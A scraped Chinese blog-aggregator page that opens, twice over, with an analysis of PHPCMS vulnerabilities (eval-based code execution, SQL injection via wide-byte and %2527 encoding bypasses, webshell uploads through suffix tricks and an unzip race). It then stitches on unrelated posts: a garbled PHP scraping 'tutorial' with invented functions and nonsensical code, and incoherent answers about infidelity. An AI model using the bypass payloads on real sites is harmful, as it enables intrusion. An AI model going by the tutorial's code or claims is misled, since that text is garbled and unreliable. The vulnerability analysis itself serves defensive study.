$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS 查看全部
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS
phpdb=newdb(你的数据库名)
网站优化 • 优采云 发表了文章 • 0 个评论 • 64 次浏览 • 2022-06-09 16:20
php抓取网页数据插入数据库这里简单说下php抓取网页数据的流程(php抓取百度站长平台官方html),抓取html返回给php处理后,由php解析并返回给php;回到数据库操作,对应到代码,就是:$goal=['load_html','html_header','tag','srt','db'];//赋值数据库$db=newdb('你的数据库名');$goal=$db->load_html($goal,'html_header','tag','srt','db');这里数据库的注意点和一些概念:php利用一个叫::,函数可以自定义几个表引用上去,而这几个表是全部以数组的形式存放,在php处理text方法输出的时候,这些数组同时输出到数据库中;这里需要注意一下“::”,在php中,没有这个函数,如果我们觉得一定要把php写成这个样子,那可以用array_concat('','db','username')来代替;$ctx_file='我的数据库';$db_file=$ctx_file。
'/home/database。php';$db_file_dump=php_dump_data($db_file,strtoywrite,'load_to_cache','eval','eval',__file__);//写操作,结果可以看到,我们在下面的文章中所有的file结果都是eval写的;要想成功的写一个file,一个定义在::的函数必须要写在$file。
func();那么再来看:你的sql语句中的username是一个char型的字符串类型(不是a-z任何一个字符串)$admin_conns=$username->encode('utf-8')。'';对应的:$admin_conns["admin_username"]='';//结果$admin_conns["default_admin_username"]='';//结果现在我们就能把sql语句中的username改成username了;为了全局化的写text,我们用“::”提取出来的$admin_text这个函数,但是这样在全局中是变量名,因为php的数据库里不是string类型的字符串,而是字符串类型的数据,因此$admin_text是null;没有auto_increment,所以我们需要用$triangle_name_annotator()函数对数组进行不断重写,才能保证数组的不断增长,才能达到goal的效果;这里要用到全局语句:give_url=function(url){var_dump('');this。
$goal=get_url(url);//不断迭代,直到满足或者超过全局不断增长的要求};$triangle_name_annotator=["v1","v2"];这里,我们需要把字符串数组存入到一个类型为string的变量中,也就是$goal_array,然后变量名定。 查看全部
phpdb=newdb(你的数据库名)
php抓取网页数据插入数据库这里简单说下php抓取网页数据的流程(php抓取百度站长平台官方html),抓取html返回给php处理后,由php解析并返回给php;回到数据库操作,对应到代码,就是:$goal=['load_html','html_header','tag','srt','db'];//赋值数据库$db=newdb('你的数据库名');$goal=$db->load_html($goal,'html_header','tag','srt','db');这里数据库的注意点和一些概念:php利用一个叫::,函数可以自定义几个表引用上去,而这几个表是全部以数组的形式存放,在php处理text方法输出的时候,这些数组同时输出到数据库中;这里需要注意一下“::”,在php中,没有这个函数,如果我们觉得一定要把php写成这个样子,那可以用array_concat('','db','username')来代替;$ctx_file='我的数据库';$db_file=$ctx_file。
'/home/database。php';$db_file_dump=php_dump_data($db_file,strtoywrite,'load_to_cache','eval','eval',__file__);//写操作,结果可以看到,我们在下面的文章中所有的file结果都是eval写的;要想成功的写一个file,一个定义在::的函数必须要写在$file。
func();那么再来看:你的sql语句中的username是一个char型的字符串类型(不是a-z任何一个字符串)$admin_conns=$username->encode('utf-8')。'';对应的:$admin_conns["admin_username"]='';//结果$admin_conns["default_admin_username"]='';//结果现在我们就能把sql语句中的username改成username了;为了全局化的写text,我们用“::”提取出来的$admin_text这个函数,但是这样在全局中是变量名,因为php的数据库里不是string类型的字符串,而是字符串类型的数据,因此$admin_text是null;没有auto_increment,所以我们需要用$triangle_name_annotator()函数对数组进行不断重写,才能保证数组的不断增长,才能达到goal的效果;这里要用到全局语句:give_url=function(url){var_dump('');this。
$goal=get_url(url);//不断迭代,直到满足或者超过全局不断增长的要求};$triangle_name_annotator=["v1","v2"];这里,我们需要把字符串数组存入到一个类型为string的变量中,也就是$goal_array,然后变量名定。
awesome-phpphp抓取网页数据插入数据库并执行excel操作。
网站优化 • 优采云 发表了文章 • 0 个评论 • 52 次浏览 • 2022-06-03 07:02
php抓取网页数据插入数据库并执行excel操作。网上非常多开源代码,但是你要明白网上大部分开源代码在github上的地址都是,需要科学上网,就像商场说国外有,你得翻墙去看看。个人觉得使用awesome-php这个项目里的代码比网上那些开源代码更简单些。简单的说,你首先得有一个项目的目录,然后百度github关键字php抓取网页数据插入数据库并执行excel操作...找到爬虫爬取的链接,把这个目录拷贝到项目目录下。
项目目录下继续找awesome-php的项目,我就用github自带的爬虫解析工具解析了一遍了...解析出这个目录下的项目文件。最后准备数据库。写爬虫,这个不再赘述,就按照php的架构去写。然后用excel执行excel。这个解析工具叫excel_slr,放到目录里就可以工作了。其他也是跟着php的爬虫脚本手把手修改再爬,慢慢摸索一下。
其实,数据库就是一个字符串与字符串的映射关系,涉及到一个字符串操作,网上代码实现太多了,有兴趣可以搜下。最终你只需要一个.xlsx格式的数据库文件就可以执行数据库查询并excel操作了。最后把你的爬虫脚本放到/applications/awesome-php/core/system/modules/php_slide/php_params/目录下执行就可以了。
蟹妖。你好。我是一名开发,网上有很多很好的开源抓取工具,这里推荐个让你少抓一些的。awesome-php,官网可以找到很多文章,并且官网提供了很多很好的案例,帮助你更加深入了解网页爬虫相关知识。 查看全部
awesome-phpphp抓取网页数据插入数据库并执行excel操作。
php抓取网页数据插入数据库并执行excel操作。网上非常多开源代码,但是你要明白网上大部分开源代码在github上的地址都是,需要科学上网,就像商场说国外有,你得翻墙去看看。个人觉得使用awesome-php这个项目里的代码比网上那些开源代码更简单些。简单的说,你首先得有一个项目的目录,然后百度github关键字php抓取网页数据插入数据库并执行excel操作...找到爬虫爬取的链接,把这个目录拷贝到项目目录下。
项目目录下继续找awesome-php的项目,我就用github自带的爬虫解析工具解析了一遍了...解析出这个目录下的项目文件。最后准备数据库。写爬虫,这个不再赘述,就按照php的架构去写。然后用excel执行excel。这个解析工具叫excel_slr,放到目录里就可以工作了。其他也是跟着php的爬虫脚本手把手修改再爬,慢慢摸索一下。
其实,数据库就是一个字符串与字符串的映射关系,涉及到一个字符串操作,网上代码实现太多了,有兴趣可以搜下。最终你只需要一个.xlsx格式的数据库文件就可以执行数据库查询并excel操作了。最后把你的爬虫脚本放到/applications/awesome-php/core/system/modules/php_slide/php_params/目录下执行就可以了。
蟹妖。你好。我是一名开发,网上有很多很好的开源抓取工具,这里推荐个让你少抓一些的。awesome-php,官网可以找到很多文章,并且官网提供了很多很好的案例,帮助你更加深入了解网页爬虫相关知识。
php抓取网页数据插入数据库存储我做个基于web的
网站优化 • 优采云 发表了文章 • 0 个评论 • 72 次浏览 • 2022-05-29 17:14
php抓取网页数据插入数据库存储
我做个基于web的,算是nb一点的吧。微信上可以借鉴@薄荷给到的办法,但是用起来并不如ipython,jupyter简单方便。如果用python3,你可以这样搞。form_login,admin,username,password="secret"web.request(username,password)我这样可以把用户名和密码中的任意一部分输入,get请求更改,验证登录。直接输入username/password的就是登录了。
1.发现她出轨2.发现她不出轨3.被她发现出轨4.和她谈以后她如果不离婚5.发现她出轨但又被她发现6.发现她出轨但她没有选择离婚7.发现她出轨但她后悔了8.分手9.再分手
应邀!出轨如果要报警需要取得对方身份信息,个人觉得很难办。以我身边接触的情况的话,至少要起诉对方和自己财产责任划分、男方和女方责任划分、对方对情感的处理需求,从这个角度说,这个问题的数据库管理自己要搞清楚,要对不同数据类型分别存储,不同的要求目前普遍没有成熟的方案。e-mail是否可以起诉对方?或者手机短信的归类管理系统的。因为是软件系统工程师,又是民事案件,我是做涉外的,涉外当事人如果有争议这个案子会转到涉外仲裁。
email,微信,
安卓安卓可以自己定义我建立了一个专门的部门来做这些,然后用的是比较先进的,男女通用的系统,然后做这些事情要一张表设定五套数据库,一张表设定三套类似whois的url,三套类似pptv的设定。安卓不了解,苹果的话各个部门的数据都是要手动上传的,但是实际上编程比这个重要的多。我建议每个部门自己设定一个编号,里面放数据库名字,然后先不编程直接拷贝每个数据库的url。
这样不需要。你要了解法律风险点。按照这个数据库名字做一张大的模型表。每一个数据库的url。然后就能解决这个问题了。至于excel,admin什么的,那才是重点。 查看全部
php抓取网页数据插入数据库存储我做个基于web的
php抓取网页数据插入数据库存储
我做个基于web的,算是nb一点的吧。微信上可以借鉴@薄荷给到的办法,但是用起来并不如ipython,jupyter简单方便。如果用python3,你可以这样搞。form_login,admin,username,password="secret"web.request(username,password)我这样可以把用户名和密码中的任意一部分输入,get请求更改,验证登录。直接输入username/password的就是登录了。
1.发现她出轨2.发现她不出轨3.被她发现出轨4.和她谈以后她如果不离婚5.发现她出轨但又被她发现6.发现她出轨但她没有选择离婚7.发现她出轨但她后悔了8.分手9.再分手
应邀!出轨如果要报警需要取得对方身份信息,个人觉得很难办。以我身边接触的情况的话,至少要起诉对方和自己财产责任划分、男方和女方责任划分、对方对情感的处理需求,从这个角度说,这个问题的数据库管理自己要搞清楚,要对不同数据类型分别存储,不同的要求目前普遍没有成熟的方案。e-mail是否可以起诉对方?或者手机短信的归类管理系统的。因为是软件系统工程师,又是民事案件,我是做涉外的,涉外当事人如果有争议这个案子会转到涉外仲裁。
email,微信,
安卓安卓可以自己定义我建立了一个专门的部门来做这些,然后用的是比较先进的,男女通用的系统,然后做这些事情要一张表设定五套数据库,一张表设定三套类似whois的url,三套类似pptv的设定。安卓不了解,苹果的话各个部门的数据都是要手动上传的,但是实际上编程比这个重要的多。我建议每个部门自己设定一个编号,里面放数据库名字,然后先不编程直接拷贝每个数据库的url。
这样不需要。你要了解法律风险点。按照这个数据库名字做一张大的模型表。每一个数据库的url。然后就能解决这个问题了。至于excel,admin什么的,那才是重点。
php抓取网页数据插入数据库:代码:然后改为$sql
网站优化 • 优采云 发表了文章 • 0 个评论 • 61 次浏览 • 2022-05-26 19:06
php抓取网页数据插入数据库:代码:然后改为$sql='select*from${$data}wherename='.$_get['tablename'];';?>
sql_exec:将1转换为string
<p>首先呢php,jsp都需要用到内联函数一、使用io_string_exec()函数将所有io事件处理函数转换为string类型,同时保留返回值,为所有string类型的参数提供容器转换:传递参数:io_string_exec函数内部使用read_string()函数将数据读入内存io_string_exec()函数内部使用write_string()函数将数据写入内存io_string_exec()函数内部使用exist()判断是否为空exist()判断是否有缺失值fori=1;i 查看全部
php抓取网页数据插入数据库:代码:然后改为$sql
php抓取网页数据插入数据库:代码:然后改为$sql='select*from${$data}wherename='.$_get['tablename'];';?>
sql_exec:将1转换为string
<p>首先呢php,jsp都需要用到内联函数一、使用io_string_exec()函数将所有io事件处理函数转换为string类型,同时保留返回值,为所有string类型的参数提供容器转换:传递参数:io_string_exec函数内部使用read_string()函数将数据读入内存io_string_exec()函数内部使用write_string()函数将数据写入内存io_string_exec()函数内部使用exist()判断是否为空exist()判断是否有缺失值fori=1;i
php抓取网页数据插入数据库项目地址:建议在linux环境下进行开发
网站优化 • 优采云 发表了文章 • 0 个评论 • 92 次浏览 • 2022-08-13 11:29
php抓取网页数据插入数据库项目地址:建议在linux环境下进行开发,ide推荐phpstorm和webstorm,安装phpstorm后可以免了安装数据库工具lnmp这一步。
这个php抓取网页是小型的爬虫,时长又比较短,你都直接用phpscrapy封装一个就可以,容易学,最好买视频教程,讲得好容易跟上,自己写代码这个太久远了,学习的时候可以看看3本书1。headfirstheadfirstjavascript权威指南这是讲javascript的2。headfirstjavascript这是讲headfirst本身原理的3。
scrapyscrapystartproject:buildselector3。3spiderforwebdomsecurity。
别配置了,这个类型直接从。
你放个jpg过来让我看看吗?不能手工刷点关键的信息吗?
没啥技术含量就拿log里的信息套着写
